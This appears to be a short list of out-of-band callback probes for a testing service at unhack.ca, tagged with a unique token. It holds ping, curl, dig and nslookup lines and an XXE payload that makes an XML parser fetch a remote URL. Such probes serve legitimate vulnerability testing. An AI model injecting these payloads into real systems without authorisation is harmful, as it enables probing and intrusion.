$ ping -c1 -p 0069a0b09a6fb7b6b8a8e9e98d5ad000 unhack.ca
 

$ curl http://unhack.ca/p/69a0b09a6fb7b6b8a8e9e98d5ad0
 

$ dig 69a0b09a6fb7b6b8a8e9e98d5ad0 @unhack.ca
 

$ dig 69a0b09a6fb7b6b8a8e9e98d5ad0.ns.unhack.ca
 

C:\> nslookup 69a0b09a6fb7b6b8a8e9e98d5ad0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/69a0b09a6fb7b6b8a8e9e98d5ad0">]>
    <foo>&xxe;</foo>